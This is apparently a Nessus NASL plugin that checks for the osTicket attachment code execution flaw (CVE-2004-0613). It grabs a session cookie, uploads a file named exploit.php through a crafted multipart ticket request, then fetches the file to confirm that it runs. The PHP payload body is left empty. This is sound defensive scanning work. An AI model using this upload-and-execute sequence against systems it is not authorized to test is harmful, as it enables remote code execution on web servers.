# # This script was written by George A. Theall, . # # See the Nessus Scripts License for details. # # NB: I define the script description here so I can later modify # it with the filename of the exploit. desc = " The target is running at least one instance of osTicket that enables a remote user to open a new ticket with an attachment containing arbitrary PHP code and then to run that code using the permissions of the web server user. Solution : Apply FileTypes patch or upgrade to osTicket STS 1.2.7 or later. Risk factor : High"; if (description) { script_id(13645); script_bugtraq_id(10586); script_version ("$Revision: 1.4 $"); script_cve_id("CVE-2004-0613"); name["english"] = "osTicket Attachment Code Execution Vulnerability"; script_name(english:name["english"]); script_description(english:desc); summary["english"] = "Checks for Attachment Code Execution Vulnerability in osTicket"; script_summary(english:summary["english"]); script_category(ACT_ATTACK); script_copyright(english:"This script is Copyright (C) 2004 George A. Theall"); family["english"] = "CGI abuses"; script_family(english:family["english"]); script_dependencie("global_settings.nasl", "http_version.nasl", "no404.nasl", "osticket_detect.nasl"); script_require_ports("Services/www", 80); exit(0); } include("global_settings.inc"); include("http_func.inc"); include("http_keepalive.inc"); host = get_host_name(); port = get_http_port(default:80); if (debug_level) display("debug: searching for attachment code execution vulnerability in osTicket on ", host, ":", port, ".\n"); if (!get_port_state(port)) exit(0); if (get_kb_item("www/no404/" + port)) exit(0); # Check each installed instance, stopping if we find a vulnerability. installs = get_kb_list(string("www/", port, "/osticket")); if (isnull(installs)) exit(0); foreach install (installs) { matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$"); if (!isnull(matches)) { ver = matches[1]; dir = matches[2]; if (debug_level) display("debug: checking version ", ver, " under ", dir, ".\n"); # If safe_checks are enabled, rely on the version number alone. # # nb: this will be a false positive if the patch was applied! if (safe_checks()) { if (ereg(pattern:"^1\.2\.5$", string:ver)) { security_hole(port); exit(0); } } else { # Get osTicket's open.php. url = string(dir, "/open.php"); if (debug_level) display("debug: checking ", url, ".\n"); req = http_get(item:url, port:port); res = http_keepalive_send_recv(port:port, data:req); if (res == NULL) exit(0); # can't connect if (debug_level) display("debug: res =>>", res, "<<\n"); # If the form supports attachments... if (egrep(pattern:'type="file" name="attachment"', string:res, icase:TRUE)) { # Grab the session cookie. pat = "Set-Cookie: (.+); path="; matches = egrep(pattern:pat, string:res, icase:TRUE); foreach match (split(matches)) { match = chomp(match); cookie = eregmatch(pattern:pat, string:match); if (cookie == NULL) break; cookie = cookie[1]; if (debug_level) display("debug: session cookie =>>", cookie, "<<\n"); } # Open a ticket as long as we have a session cookie. if (cookie) { boundary = "bound"; req = string( "POST ", url, " HTTP/1.1\r\n", "Host: ", host, ":", port, "\r\n", "Cookie: ", cookie, "\r\n", "Content-Type: multipart/form-data; boundary=", boundary, "\r\n" # nb: we'll add the Content-Length header and post data later. ); boundary = string("--", boundary); postdata = string( boundary, "\r\n", 'Content-Disposition: form-data; name="name"', "\r\n", "\r\n", "nessus\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="email"', "\r\n", "\r\n", "postmaster@", host, "\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="phone"', "\r\n", "\r\n", "\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="cat"', "\r\n", "\r\n", "4\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="subject"', "\r\n", "\r\n", "Attachment Upload Test\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="message"', "\r\n", "\r\n", "Attempt to open a ticket and attach a file with executable code.\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="pri"', "\r\n", "\r\n", "1\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="MAX_FILE_SIZE"', "\r\n", "\r\n", "1048576\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="attachment"; filename="exploit.php"', "\r\n", "Content-Type: text/plain\r\n", "\r\n", # NB: This is the actual exploit code; you could put pretty much # anything you want here. "\r\n", boundary, "\r\n", 'Content-Disposition: form-data; name="submit_x"', "\r\n", "\r\n", "Open Ticket\r\n", boundary, "--", "\r\n" ); req = string( req, "Content-Length: ", strlen(postdata), "\r\n", "\r\n", postdata ); if (debug_level) display("debug: sending =>>", req, "<<\n"); res = http_keepalive_send_recv(port:port, data:req); if (res == NULL) exit(0); # can't connect if (debug_level) display("debug: received =>>", res, "<<\n"); # Grab the ticket number that was issued. pat = 'name="login_ticket" .+ value="(.+)">'; if (matches = egrep(pattern:pat, string:res, icase:TRUE)) { foreach match (split(matches)) { match = chomp(match); ticket = eregmatch(pattern:pat, string:match); if (ticket == NULL) break; ticket = ticket[1]; if (debug_level) display("debug: ticket # =>>", ticket, "<<\n"); } if (ticket) { # Run the attachment we just uploaded. url = string(dir, "/attachments/", ticket, "_exploit.php"); if (debug_level) display("debug: checking ", url, ".\n"); req = http_get(item:url, port:port); res = http_keepalive_send_recv(port:port, data:req); if (res == NULL) exit(0); # can't connect if (debug_level) display("debug: res =>>", res, "<<\n"); # If we could run it, there's a problem. if (egrep(pattern:"200 OK", string:res, icase:TRUE)) { desc = str_replace( string:desc, find:"Solution :", replace:string( "**** Nessus successfully opened ticket #", ticket, " and uploaded\n", "**** an exploit as ", ticket, "_exploit.php to osTicket's attachment\n", "**** directory. You are strongly encouraged to delete this attachment\n", "**** as soon as possible as it can be run by anyone who accesses.\n", "**** it remotely.\n", "\n", "Solution :" ) ); security_hole(port:port, data:desc); exit(0); } } } } } } } }